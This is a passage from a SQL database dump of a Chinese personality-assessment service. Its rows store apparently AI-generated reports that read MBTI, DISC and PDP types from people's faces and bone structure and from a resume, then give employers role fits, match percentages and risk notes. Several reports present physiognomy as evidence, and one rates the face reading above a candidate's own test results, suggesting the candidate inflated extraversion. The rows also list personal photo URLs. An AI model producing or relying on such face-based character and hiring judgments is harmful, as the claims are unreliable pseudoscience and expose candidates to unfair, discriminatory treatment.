+收敛嘴型,对自我控制与结果质量有一定要求。\\n\\n这与“理性冷静、谋略清晰,目标导向强”的面部性格描述基本一致,为后面“偏T、偏J”的人格取向提供了底层支撑。\\n\\n---\\n\\n### 2. 工作经历维度(推断)\\n\\n由于简历图片内容看不到,但可结合你给出的整体测评倾向做合理推断:\\n\\n- MBTI(系统测评版):**ESTJ,E/T/S/J都极度偏向一端(100%)** \\n- DISC:**I 主 C 次,D 也不低(20%)** \\n- PDP:**孔雀 85% + 老虎 15%**\\n\\n能够拿到这样一组结果,一般意味着在工作场景中,你:\\n\\n1. **经常处在“对人+对事并重”的位置** \\n - 有一定管理/协调/组织职责:带团队、协调资源、沟通多方。\\n - 必须对业绩/结果负责:对目标、时间节点、执行落地非常敏感。\\n\\n2. **现实行为中展现出较多“外向、高表达”的一面** \\n - 需要开会、汇报、谈判、对外沟通,这会拉高E、I(影响型)、孔雀型等维度分数。\\n - 这说明你**能且会主动沟通和影响别人**,而不是纯粹沉浸在自我世界。\\n\\n3. **在压力环境下,更倾向于掌控与推进,而不是退缩** \\n - ESTJ 的“总经理型”+ D/I/C 的组合,都指向“在压力下维持推动、控制与决策”的能力。\\n - 行为风格上很可能偏:**有节奏地快、决策时果断,对不落实的人和事容忍度低。**\\n\\n4. **做事习惯偏“系统+流程+节点管理”** \\n - 高J:习惯制定计划、重要事项要落到日程和清单上。\\n - 高S:注重实际可行性,关注细节执行而不是空谈概念。\\n - 高T:决策更多依靠逻辑、事实与收益,而不是“大家感觉如何”。\\n\\n人际模式方面,大概率是:\\n\\n- 在工作场合:可表现为开朗、健谈、逻辑清晰、能hold住场子,甚至带节奏。 \\n- 在私下/陌生场域:会更克制和选择性社交,不喜欢低效率的寒暄。\\n\\n这与“外部测评看起来很E/I/孔雀,面相与人设更偏INTJ/猫头鹰/C”的反差是吻合的: \\n**现实工作逼你表现得更外向、更具影响力,但内核仍偏理性与控制感。**\\n\\n---\\n\\n### 3. MBTI / PDP / DISC:交叉验证与“去伪存真”\\n\\n你这组数据里,**冲突点**非常明显:\\n\\n- 人脸分析:INTJ + 猫头鹰 + C(重逻辑、内敛、策略、规则) \\n- MBTI测评:ESTJ(极端E/S/T/J) \\n- PDP:孔雀 85%(高表现、爱社交) \\n- DISC:I 主 + C 次 + D 有一定比例(影响型+谨慎型+少量支配)\\n\\n如何去伪存真?可以这样理解:\\n\\n#### (1)认知风格:T + J 是确定的\\n\\n- T(思考型): \\n 所有系统都在强调你**强逻辑、重事实与结果**,几乎没有F(情感型)的显著证据。 \\n → 决策侧重“对不对”、“值不值”,而不是“大家开不开心”。\\n\\n- J(判断型): \\n 规划性、结构感、秩序感,一再出现(INTJ、ESTJ、C、猫头鹰)。 \\n → 你习惯有计划、有节点、有控制的推进过程,对“随时变化、完全随缘”的工作状态不适应。\\n\\n**结论:T+J 非常稳定,是真实性格的核心。**\\n\\n#### (2)内外向 & 表现欲:真实情况更像“工作型E,性格底色偏I”\\n\\n- 面相&骨相 + INTJ:指向**内敛、冷静、自我驱动** \\n- 但MBTI、PDP、DISC 又给出高E、高I、高孔雀\\n\\n合理解释是:\\n\\n- 你具备**足够的表达能力和外向行为资源**,可以在需要时主动讲话、谈判、展示、推动。\\n- 但这种外向更多是**“角色化的外向”**:基于角色需要(领导、项目负责人、业务推动者)而启用,而不是发自内心喜欢“永远在热闹中心”。\\n- 真正让你恢复能量的方式,很可能仍是:**独处、安静思考、系统性整理、自己控制节奏。**\\n\\n**结论:内心偏I,行为上能切换到E,是“可控外向型”的理性组织者。**\\n\\n#### (3)S vs N:实践偏S,思维可兼顾N,但以现实、落地为主\\n\\n- ESTJ 给出的 S 极高(务实、执行、落地);\\n- INTJ 带来的 N 是:愿意思考长远结构、系统规划、路径设计。\\n\\n在现实中,高位/中高责任岗位的人,往往要同时具备:\\n\\n- **N**:看方向、布局、预判风险; \\n- **S**:确保短期落地,盯执行、看细节。\\n\\n结合你“目标导向+统筹规划+稳定产出”的描述,比较可能是:\\n\\n- 思考方式上,愿意看全局和长远; \\n- 行动执行上,非常重视现实可行性与当前资源条件。\\n\\n**结论:略偏S 的 NJ 型,更像是“会算账的战略执行者”。**\\n\\n#### (4)PDP/ DISC 中的“孔雀 / I 型”如何理解?\\n\\n这部分不把它理解为“你就是典型孔雀型”,而看成:\\n\\n- 你在**工作角色中承担了较强的对人沟通与影响任务**:\\n - 需要激励团队、协调内外部资源、做跨部门沟通;\\n - 对外需要展示、路演、谈判、汇报。\\n- 因此在行为层面,被测评系统识别为高“影响、表现、社交”的典型特征。\\n- 但骨相与MBTI中的理性/规则侧,又说明:**你对人的态度并不浪漫化,带有功利理性与边界感。**\\n\\n**结论:你具备“高影响力的沟通能力”,但背后驱动并非“讨好”或“纯社交成瘾”,而是为了目标、为了事情推进。**\\n\\n---\\n\\n## 三、行为与沟通风格\\n\\n### 1. 行为风格\\n\\n- **决策:快而有依据** \\n 先快速收集核心信息,形成判断,然后迅速定调并推动执行。对拖拉和反复横跳会不耐烦。\\n- **执行:重纪律、重标准** \\n 更倾向于建立流程、指标、制度,要求团队遵守;“说了不做”是你最不能接受的点之一。\\n- **抗压方式:硬扛+理性拆解** \\n 面对压力,你不太会崩溃式发泄,更像是:“先稳住局面,分解问题,按优先级一件件解决”。\\n\\n### 2. 沟通风格\\n\\n- **表达风格:直、清晰、有条理** \\n 喜欢讲数据、事实、逻辑,少用含糊、情绪化的语句。对无效闲聊兴趣不大。\\n- **对下属/同事:要求明确,反馈直接** \\n 会说“哪里做得好,哪里不行,要改什么”;有时在敏感型同事眼中略“严厉/不够温情”。\\n- **对上级/客户:尊重但不迎合** \\n 能用专业和结果说话,不喜欢无原则的讨好;更多是通过“专业、靠谱”获取信任。\\n- **在人际距离上:适度保持边界** \\n 能友好相处,但保留个人空间,不轻易完全暴露自己的真实情绪和私生活。\\n\\n---\\n\\n## 四、优势亮点(可沉淀为职业竞争力)\\n\\n1. **逻辑清晰、判断力强** \\n 能快速抓住问题核心,基于事实与数据做决策,适合承担关键决策与把关角色。\\n\\n2. **规划与组织能力出色** \\n 擅长把目标拆解为计划、步骤、节点,并通过制度/流程保障执行落地。\\n\\n3. **稳定的抗压与责任心** \\n 面对压力与复杂局面,能撑得住、不轻易失控,适合在关键岗位顶住“最后一棒”。\\n\\n4. **可控输出的影响力** \\n 能在需要的时候表现为外向、能说会谈、有气场,既能面向团队也能对接外部。\\n\\n5. **原则性与可靠度** \\n 重承诺、重底线;在团队中容易被视作“可信赖、能依靠”的那一类人。\\n\\n---\\n\\n## 五、可提升方向(组合型性格的常见盲区)\\n\\n1. **情绪与表达的柔性度** \\n - 风险:过于强调效率与结果,容易在无意间让他人感到“冷/压迫感/不近人情”。 \\n - 建议:适度增加情绪化反馈,例如肯定情绪(“我知道这段时间大家很辛苦”)、表达感谢与支持,可以显著提升团队黏性。\\n\\n2. **对“非理性”因素的包容度** \\n - 风险:对拖沓、反复、情绪化个体耐受度低,可能在协作中产生隐性对立。 \\n - 建议:把他人的“情绪波动”视作一种“客观变量”,纳入你的系统管理中(例如:预留时间与空间给对方消化),而不是只看成“没道理”。\\n\\n3. **适当展示脆弱与人味** \\n - 风险:过度自控与硬扛,会让他人觉得你“不需要被理解”,从而难以建立真正深层信任。 \\n - 建议:在合适的范围内,适当分享自己的困难与真实感受,会增强团队对你的情感认同与愿意跟随的意愿。\\n\\n4. **警惕“过度掌控”倾向** \\n - 风险:TJ+C 型容易在关键事情上“什么都想亲自盯”,导致自己过劳+团队被动依赖。 \\n - 建议:对任务做“分层授权”:哪些必须你亲自把关,哪些只需设定标准与检查节点,刻意练习放手。\\n\\n5. **保留/发展 N 向的战略思维** \\n - 风险:若长期被业务压力拖入日常事务,可能把自己用成“高级执行官”,浪费战略潜力。 \\n - 建议:刻意留出思考时间,做中长期布局、预判行业变化,让自己持续处在“既能执行又能设计规则”的位置。\\n\\n---\\n\\n**综合结论一句话**: \\n你是一个以内在理性与秩序感为核心、在外部可切换为高影响力角色的组织者型人格。真正稳固的优势,在于:能兼顾“逻辑决策 + 计划执行 + 对人沟通”,但需要在柔性表达与授权放手上再做优化,以支撑更大规模、更高层级的管理与协作。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 1, NULL, NULL, 1773218290, 1773218290, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (118, 29, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFJ\", \"title\": \"主人公\"}, \"overview\": \"外向温和,情绪稳定,人际感知敏锐,善于协调关系与推动事务落地。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1ef0a945.93981460.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1f03ae52.89961796.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1f0baf53.84218867.jpg\"], \"boneAnalysis\": \"面骨平正不突兀,颧骨内敛有度,下颌圆厚,属土形偏稳健格局,重视责任与现实承载。\", \"faceAnalysis\": \"额头饱满,下庭有力,眼神柔中带定,鼻梁端正,嘴角上扬,整体给人亲和而踏实之感。\", \"personalitySummary\": \"性格外向友善,重视他人感受,做事稳中求进,沟通自然亲切,适合在协作与服务他人的场景中发挥长处。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773218860, 1773218860, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (119, 1, 'resume', '{\"hrView\": {\"roleRecommend\": {\"bestFit\": [\"项目经理 / PM(偏交付与执行方向)\", \"运营管理岗(业务运营、门店/区域管理、流程与标准落地)\", \"销售团队管理 / 渠道拓展经理(需带团队并对业绩负责)\", \"中层管理岗(小团队负责人、业务线负责人)\", \"需要对接多部门的协调角色(如实施、客服运营主管等)\"], \"notSuitable\": [\"需要长时间独立、深度研究、极少沟通的纯技术/研究岗\", \"高度无结构、完全缺乏规则的创业环境早期核心岗位\", \"以情绪陪伴、共情为主的助人职业(如心理咨询、社工)\", \"需要极高创造性、不受任何约束的艺术型岗位\"]}}, \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\", \"version\": 2, \"bossView\": {\"metrics\": [{\"label\": \"岗位匹配度\", \"level\": \"high\", \"value\": \"85%\"}, {\"label\": \"抗压与稳定性\", \"level\": \"high\", \"value\": \"80%\"}, {\"label\": \"自驱力\", \"level\": \"high\", \"value\": \"85%\"}, {\"label\": \"沟通与影响力\", \"level\": \"high\", \"value\": \"80%\"}, {\"label\": \"团队协作与授权\", \"level\": \"medium\", \"value\": \"70%\"}, {\"label\": \"学习与反思能力\", \"level\": \"medium-high\", \"value\": \"75%\"}], \"headline\": \"一个偏结果导向的管理型执行者:敢站在前台、会说也能扛事,但在控制感与团队感受之间需要更好平衡。\"}, \"overview\": \"该候选人在不同测评结果中出现了明显分化:人脸&骨相+初始画像偏理性内敛型(INTJ / C / 猫头鹰),而正式测评结果则高度外向、表达型(ESTJ + 孔雀型 + DISC高I)。结合两类数据及通用职业行为规律,可推演其真实画像更可能是:外向-理性并存、重目标与结果、具较强表达与组织能力,但内核偏控制、自主与理性决策,既不是单一“冷静谋士型”,也不是典型“无拘无束的表演者型”。整体来看,是一个偏执行与管理导向、愿意站到台前但思维偏理性、对秩序与效率有要求的人。\", \"portrait\": {\"coreRisks\": [\"容易在自信与控制欲中不自觉压制他人,导致团队反馈不足\", \"在追求效率与结果时,可能忽略个体情绪与细节体验\", \"决策方式偏“自己想清楚再告知他人”,容易被误解为独断\", \"注意力在多目标并行时可能分散,优先级管理需要强化\", \"在人际上存在“既想影响他人又不愿过度暴露脆弱面”的矛盾,易形成距离感\"], \"workStyle\": \"工作风格偏“管理型执行者”:会主动承担责任、愿意站在前台协调和推动,关注结果和进度,习惯先搭好框架、再在框架内优化细节。面对任务时,倾向将复杂问题拆解为步骤,通过制定计划、分配任务、设定节点来推动。对模糊、标准不清的环境耐受度一般,更偏好目标明确、边界清晰的场景。决策时重视事实与逻辑,少受情绪左右,但在表达观点上往往坚定甚至强硬,需要学习更柔性的表达方式。\", \"coreStrengths\": [\"结果导向与执行力强,愿意对目标负责并推进落地\", \"逻辑与结构化思维良好,做事有步骤、有计划\", \"表达欲与影响力较强,能够带动氛围、说服他人\", \"对规则、流程和标准敏感,能维持团队基本秩序\", \"在中高压环境下具持续输出能力,抗压韧性较好\"]}, \"resumeHighlights\": \"(1)核心性格关键词:外向理性、结果导向、结构化执行、表达欲与控制感并存、在压力下表现稳定。 \\n\\n(2)真实性格深度分析:\\n- 性格底色:综合人脸/骨相“理性、克制、骨架稳健”与ESTJ/高I高T的结果,可以推断其底色为“理性+主导”的外倾型——不属于情绪化外向,而是带有明确目标、愿意组织他人的领导倾向。内心对秩序、掌控和自我效能感有较高需求,希望事情按自己的逻辑有序推进。\\n- 决策方式:偏向以事实、数据和经验为依据,重视“对不对”“能不能落地”,不太受他人情绪左右。在时间紧、压力大时,会更直接地下判断并要求执行,风险是忽略了团队的参与感与异议。\\n- 情绪管理:情绪整体可控,外显相对稳定,即便内心有焦虑或不满,也倾向通过“加快推进、加强控制”来应对,而不是公开化情绪。有一定“把情绪压成行动”的倾向,久而久之可能累积压力。\\n- 自我定位:倾向把自己定位为“能扛事、能组织、能把事干成”的角色,希望被视作可靠的执行与管理者;对被动、犹豫、效率低的环境耐受度低,容易产生批判和自行接管的冲动。\\n\\n(3)行为与沟通风格:\\n- 行为风格:\\n - 在团队中容易自然站到偏核心或组织位置,主动设定目标、推动节奏。\\n - 面对问题,第一反应是分析原因、提出解决方案,并推动执行,而不是陷在情绪中。\\n - 能接受一定压力与挑战,短期高压下反而会激发其行动力和决断力。\\n - 对拖延、反复无结论较为不耐烦,偏好“先做再调”的路径。\\n- 沟通风格:\\n - 表达相对直接、清晰,有较强说服与带动气氛的能力(对应PDP孔雀与DISC高I)。\\n - 但内核是理性和标准(对应ESTJ与C向特征),因此在给出意见时可能偏“讲道理”,容易忽略对方感受;在下属或同事眼中,可能被认为“有点强势、要求高”。\\n - 在不熟悉的人面前,会先以较正式、掌控局面的方式出现,一旦熟悉,则会释放更多幽默感和亲和度。\\n - 更习惯纵向汇报和横向协调,而不是进行情绪深度交流,对“无目的性闲聊”兴趣有限。\\n\\n(4)优势亮点:\\n1)目标感和执行落地\\n- 能较快把抽象目标拆解为具体行动,设定里程碑并持续跟进。\\n- 在执行过程中,会用节点、数据和进度来管理,而不是仅凭感觉。\\n\\n2)组织与协调能力\\n- 愿意站到前台整合资源、分配任务,协调不同角色的工作。\\n- 在跨部门或多方协作场景下,能够通过清晰沟通与结果导向推动共识。\\n\\n3)沟通与影响力\\n- 具备一定演讲、说明、说服能力,在会议和公开场合不怯场。\\n- 能够通过积极的态度和明确的方向感,给团队带来“有人带、能跟”的安全感。\\n\\n4)抗压能力与责任感\\n- 面对紧迫节点或高压任务,不容易情绪化,更偏向“咬牙顶上去”。\\n- 对自己负责的事情有较强责任心,不轻易“甩锅”。\\n\\n5)逻辑性与结构化\\n- 在汇报、沟通或写作时,通常能做到逻辑清晰、主线明确,让他人容易理解。\\n\\n(5)可提升方向(针对管理和职场表现):\\n1)平衡控制欲与团队参与感\\n- 建议在关键决策和任务拆解时,多做“先问后说”:先听团队意见,再给出自己的判断;即便已经想好方案,也可以有意识留出讨论空间。\\n- 学会用“共识感”取代“宣布式”沟通,有助于提升团队长期配合度和忠诚度。\\n\\n2)增强对情绪和关系的敏感度\\n- 在一对一沟通中,多关注对方状态,不只问“事情做得怎么样”,也问“你现在状态如何,有什么困难”。\\n- 对不同性格的人适配不同沟通节奏,如对谨慎型、安静型同事适当放慢语速、减少压迫感。\\n\\n3)管理好多任务并行下的优先级\\n- 对自己容易“一口气接太多”的倾向保持警觉,学会拒绝不合理任务或延后优先级较低事项。\\n- 使用更系统的时间与任务管理工具(如四象限法、项目管理软件),避免因注意力分散而影响交付质量。\\n\\n4)在“理性+效率”之外,增加一定弹性\\n- 对规则和流程的坚持是优势,但在高速变化的业务环境中,需要适当增加弹性和试错空间。\\n- 遇到不完美方案时,允许“先上线、再迭代”,避免因为追求完美标准拖慢整体进度。\\n\\n5)向上沟通与向下授权的双向优化\\n- 向上:多用数据和结果呈现自己的贡献,并适当表达对资源和支持的具体需求。\\n- 向下:在交代任务时讲清目标、边界、衡量标准,并给对方留下选择路径的空间,避免“事必躬亲”导致自己负荷过高。\\n\\n综合来看,该候选人适合担任“目标明确、有一定压力、需要组织与执行兼具”的岗位,尤其适合在已有基本制度和资源的团队中发挥“执中军、带队打仗”的角色。如果能在控制感、共情和授权方面进一步提升,将有潜力成长为稳健可靠的中高层管理者。\"}', NULL, NULL, 0, 1, NULL, NULL, 1773219017, 1773219017, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (120, 29, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ESTJ\", \"title\": \"总经理\"}, \"overview\": \"目标感强、执行力硬,兼具管理力度与现实判断,适合在结构清晰的环境中带队达成高目标。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e04905ca8.13020785.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e04924b36.48351571.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e049f74d0.23514689.jpg\"], \"boneAnalysis\": \"面部骨架端正紧实,颧骨与下颌略见棱角,骨肉比例协调,属于稳健持久型格局,利于在中年后持续发力。\", \"faceAnalysis\": \"额头平阔饱满,眼神专注稳定,鼻梁端正,嘴角有力收紧,下颌略方,整体给人理性稳健、执行导向的印象。\", \"personalitySummary\": \"性格务实果断,重视责任与承诺,擅长统筹安排与执行落地,人际中偏直接理性,带有天然威信与管理气场。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773219347, 1773219347, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (121, 31, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"稳健务实、责任感强,重视规则与长期成果,适合承担关键管理与专业把控角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e17e48f79.80563960.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e17e5b252.86311668.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e1826fc05.57970226.jpg\"], \"boneAnalysis\": \"面骨方正厚实,下颌承载力强,颧骨含而不露,属土形稳健格局,重视责任守成与长期积累。\", \"faceAnalysis\": \"额头平阔、眼神沉稳、鼻梁端正、嘴型收敛,下巴厚实,整体给人理性内敛、靠谱可信之感。\", \"personalitySummary\": \"性格沉稳自律,做事谨慎周全,强调原则与秩序;抗压能力强,遇事先分析后行动,擅长在复杂环境中稳步推进。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773219366, 1773219366, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (122, 1, 'resume', '{\"content\": \"{\\\"version\\\":2,\\\"overview\\\":\\\"该候选人在不同测评与人脸分析中呈现出明显的矛盾:一组数据显示为理性、内敛、规划型(INTJ / 猫头鹰 / C型),另一组则呈现外向、表现欲强、偏人际与影响力导向(ESTJ + 孔雀 / I型)。结合骨相与面相给出的“冷静、自持、内敛坚决”,更接近前者理性克制的一面。因缺少简历细节,只能做结构化推演:此人更大概率是以理性、规划、规则为底色的思考型选手,在职场中为了完成工作目标,会主动使用外向沟通、影响力与表达技巧,看上去像“会说话的管理者”,本质仍是以结果和逻辑为核心的务实派。以下画像以“理性规划+适度外向表现”的复合型为基准。\\\",\\\"portrait\\\":{\\\"coreStrengths\\\":[\\\"强逻辑思维与结构化分析能力\\\",\\\"目标导向清晰,执行稳定可靠\\\",\\\"抗压持久,情绪外显少,能在高压下维持理性判断\\\",\\\"规划与统筹能力较强,善于搭建流程与标准\\\",\\\"在必要场合具备一定号召力与表达能力,可承担对外沟通或团队动员\\\",\\\"原则感与责任心强,做事有底线,有始有终\\\"],\\\"coreRisks\\\":[\\\"性格基底偏内敛克制,长时间高强度对外社交会消耗较大,容易出现“社交性疲惫”\\\",\\\"容易过度强调逻辑与效率,对他人的情绪、感受关注度不够,易被感性同事视为“冷”“不近人情”\\\",\\\"对标准和秩序要求较高时,可能显得苛刻或控制欲偏强\\\",\\\"在信息不完整、变化快速且缺少规则的环境中,可能出现犹豫、拉长决策时间\\\",\\\"对自己要求较高,易自我施压,长期缺乏正向反馈时有心态耗损风险\\\"],\\\"workStyle\\\":\\\"工作风格上偏“理性管理者+任务指挥官”混合型:①先搭框架再行动:习惯在动手前理清目标、路径、关键节点和风险点,做事有计划、有步骤,不喜欢无序试错。②结果导向而非过程社交:与人沟通多围绕目标、任务和问题解决,闲聊型社交动力不强,但能在关键场合表现出良好表达与组织协调能力。③高标准自我要求:对自己和团队的工作质量、进度有较高要求,希望事情“按正确方式做对”,对低效、反复、拖延容忍度低。④压力下更理性:面对时间压力、项目冲突时,情绪控制较好,更倾向冷静拆解问题、排序优先级,不会轻易情绪化爆发。⑤偏向“自己先想明白再沟通”:遇到复杂议题时,会先独立思考、整理方案,再与团队讨论,少有完全“边想边拉会”的即兴风格。\\\"},\\\"hrView\\\":{\\\"roleRecommend\\\":{\\\"bestFit\\\":[\\\"项目管理 / PMO(尤其是需要流程设计、风险控制的项目)\\\",\\\"运营管理、流程优化、质量管理(适合梳理制度、建立标准)\\\",\\\"中后台管理岗(数据驱动、以结果和效率为导向的岗位)\\\",\\\"B端客户管理 / 企业服务顾问(偏解决方案型,而非纯关系型销售)\\\",\\\"职能线负责人(如运营、风控、质控、后端支持团队负责人)\\\"],\\\"notSuitable\\\":[\\\"高度情绪劳动型岗位(如全天候高强度客户投诉处理、一线高压服务岗)\\\",\\\"完全缺乏结构与规则、极度混沌初创早期岗位(“一切从零、天天变”的纯探索岗)\\\",\\\"以高频公关应酬、人情维护为主的“关系型销售”“政府关系”类岗位\\\",\\\"需要持续舞台表现和情绪感染的主播 / 主持 / 纯内容网红型岗位\\\"]},\\\"riskNotes\\\":[\\\"候选人外显MBTI为ESTJ、PDP为孔雀、DISC为I型,说明其在测评中可能有刻意强调外向、领导、表现的一面;而人脸与骨相分析偏INTJ/猫头鹰/C型,显示天然更接近理性内敛型。HR在面谈时需要重点验证其真实社交动力与持续外向表现的稳定性。\\\",\\\"若岗位要求持续高频对外社交、情绪调节和高强度临场发挥,需要确认候选人是否会在半年到一年后出现精力透支或职业倦怠。\\\",\\\"若组织文化偏感性、人情化、随机决策,候选人可能因“过于理性、说话直接”而融入难度增大,需要有相对规则、边界清晰的团队环境。\\\"]}},\\\"bossView\\\":{\\\"headline\\\":\\\"以理性与规则为底色、能适度外向担当的执行型管理者:适合作为项目与业务的“带队人”,但需要匹配相对理性的组织氛围。\\\",\\\"metrics\\\":[{\\\"label\\\":\\\"岗位匹配度(对结构化、项目/运营类管理岗位)\\\",\\\"value\\\":\\\"85%\\\",\\\"level\\\":\\\"high\\\"},{\\\"label\\\":\\\"抗压与稳定性(在有一定规则和资源支持的环境)\\\",\\\"value\\\":\\\"88%\\\",\\\"level\\\":\\\"high\\\"},{\\\"label\\\":\\\"团队协作与带人潜力\\\",\\\"value\\\":\\\"80%\\\",\\\"level\\\":\\\"medium-high\\\"},{\\\"label\\\":\\\"对高频外向社交型岗位匹配度\\\",\\\"value\\\":\\\"60%\\\",\\\"level\\\":\\\"medium\\\"},{\\\"label\\\":\\\"组织文化适配(偏理性、制度化团队)\\\",\\\"value\\\":\\\"90%\\\",\\\"level\\\":\\\"high\\\"}],\\\"managementTips\\\":[\\\"给清晰目标和边界:对其说明业务目标、关键指标与决策权限,他会主动规划路径并执行落地,不宜长期让其在模糊需求下反复试错。\\\",\\\"用结果与逻辑沟通:在复盘、反馈时用数据、事实和案例说话,而非主要依赖情绪压力或模糊指令,其回应会更积极。\\\",\\\"授权问题解决,而不仅是任务执行:适合被赋予“问题包”,让他从诊断到方案到落地全权负责,而不是只做某个环节的螺丝钉。\\\",\\\"注意负荷与情绪补给:在大周期、高强度项目后,需安排阶段性复盘和合理休整,防止长期高压下的内耗。\\\",\\\"在团队中为其配备情感连接较强的搭档:由他主导逻辑与结构,由搭档增强团队氛围与情感链接,可以显著提升整体团队体验。\\\"]},\\\"resumeHighlights\\\":\\\"【性格底色与潜在特质】\\\\n- 人脸与骨相分析呈现“额头饱满、眉眼专注、下颌线清晰”,对应理性、克制、自律、目标感强的底色。\\\\n- 描述中“冷静自持、内敛坚决、重视原则与秩序、抗压持久”,与INTJ / 猫头鹰 / C型的理性规划、规则导向高度一致。\\\\n- 说明其在面对压力和不确定性时,更倾向通过理性分析与规划应对,而非情绪宣泄或短期冲动。\\\\n\\\\n【测评交叉验证与去伪存真】\\\\n- MBTI:人脸分析为 INTJ(内向、直觉、思考、判断型),正式测评结果为 ESTJ(外向、实感、思考、判断型)。两者共有:T(理性思考)、J(偏计划和结构);差异主要在E/I和N/S。结合面相内敛、克制特征,更接近“思考型、规划型”的I性格;但ESTJ的外向表达、组织能力也可能是其后天职场行为的表现。因此判断为:本质偏内向理性,具备职场训练出的管理与表达能力,可阶段性呈现外向管理者形态。\\\\n- PDP:系统结果为孔雀型(Peacock)偏表演、社交、影响力;人脸与骨相给出的则是“猫头鹰”(理性、分析、谨慎)。两者极为矛盾。考虑到孔雀型往往在测评中易受“理想领导形象”诱导而被高估,因此更大概率是候选人自我期望或在特定场景下的呈现,而非全天候特质。更可信的是:以猫头鹰为底,叠加一定外向与表现能力,而非纯孔雀。\\\\n- DISC:结果为I主C辅(影响型+一部分谨慎型),但面部和骨相充分印证C型特质——“稳健理性、看重原则、重视细节与秩序”。综合判断:C是稳定底色,I是可调用的工作模式(特别在需要推动他人、对外沟通时)。\\\\n- 综合三套系统:T(理性)、J(结构)、C(谨慎)、猫头鹰(分析)、以及适度I/孔雀(社交与影响力)反复出现,说明“理性规划+有组织力”是共识;而“极端外向、极爱表现”的部分可信度相对较低。\\\\n\\\\n【真实性格深度分析】\\\\n- 核心人格:以“理性、规划、原则”为核心驱动力,对世界的理解方式偏分析和拆解,希望事情有逻辑、有标准、有秩序。面对任务,先考虑“目标是什么”“路径怎么设计”“风险在哪里”,很少完全凭感觉即兴行事。\\\\n- 情绪与压力处理:情绪表达相对收敛,不容易在公共场合失控,习惯把压力内化为“我要把这件事做好”的自我要求。抗压持久,适合打“持久战”或长周期项目,但需要注意长期高压下的隐性疲劳和对自我否定的倾向。\\\\n- 对人对事的优先级:更看重事本身的逻辑、结果和专业度,对人际关系的期待是“基于合作与信任的长期关系”,而非短期的情绪互动。如果别人工作不专业、做事不靠谱,比起“对我好不好”,他更在意“事情有没有按标准完成”。\\\\n- 控制感需求:对可控性与确定性有一定需求,希望自己能掌握关键节奏、规则与资源。如果长期处在极高不确定、决策随意变动的环境中,会产生明显的挫败感和无力感。\\\\n\\\\n【行为与沟通风格】\\\\n- 沟通方式:语言通常偏直接、清晰、结果导向,不太绕圈。汇报和表达时注重逻辑结构(背景-问题-方案-风险-结论),在正式场合具备良好的“专业沟通者”形象,但不太擅长长时间轻松寒暄式社交。\\\\n- 决策风格:偏理性与数据驱动。喜欢先收集关键信息,再做判断;在时间有限时,也能基于经验快速决策,但更安心于有事实支撑的选择。对模糊信息有警惕,倾向做风险预案与B方案。\\\\n- 冲突处理:对事不对人,习惯用“规则、流程、职责边界”来拆解冲突。表达可能偏坚定甚至强硬,尤其在原则问题上,较少妥协。如果对方过于情绪化,他可能选择先保持冷静克制,但也容易被误认为“不近人情”。\\\\n- 团队协作:在明确自己负责的模块时,执行力强、稳定输出,是那种“交给他就不太需要操心”的人。带团队时,会强调规则、流程和标准,期待大家“按规范高质量交付”,在激励与情感关怀上相对务实,属于“用事带人”的管理风格。\\\\n\\\\n【优势亮点(对用人方有价值的部分)】\\\\n1. 逻辑与规划优势:\\\\n - 能快速理解复杂任务,拆解为可操作的计划和节点。\\\\n - 擅长梳理流程、制定标准、优化现有工作机制,适合承担“把混乱变有序”的角色。\\\\n2. 抗压和稳定性:\\\\n - 面对长周期、高强度项目能保持理性和执行稳定,不容易被短期情绪波动带偏。\\\\n - 适合承担关键节点的“项目守门人”,在节点压力下保障交付质量。\\\\n3. 责任感与原则性:\\\\n - 对承诺的事情有较强责任意识,不轻易甩锅或放弃。\\\\n - 在涉及风险、合规、质量的场景中,能坚守底线,避免团队和公司承担不必要的风险。\\\\n4. 适度外向与影响力:\\\\n - 虽非天然社交型人格,但通过训练与经验积累,能够在重要场合清晰表达、组织协调、推动他人行动。\\\\n - 在对外汇报、项目路演、跨部门协调中,有一定表现力和说服力。\\\\n\\\\n【可提升方向(对个人与管理者的建议)】\\\\n1. 平衡理性与共情:\\\\n - 在给下属或同事反馈时,建议先肯定努力与成果,再指出问题和改进方向,以缓冲其语言直接性带来的压力感。\\\\n - 有意识地询问对方感受与困难,不仅讨论“任务进度”,能提升团队对其的信任度与跟随意愿。\\\\n2. 管理好社交能量:\\\\n - 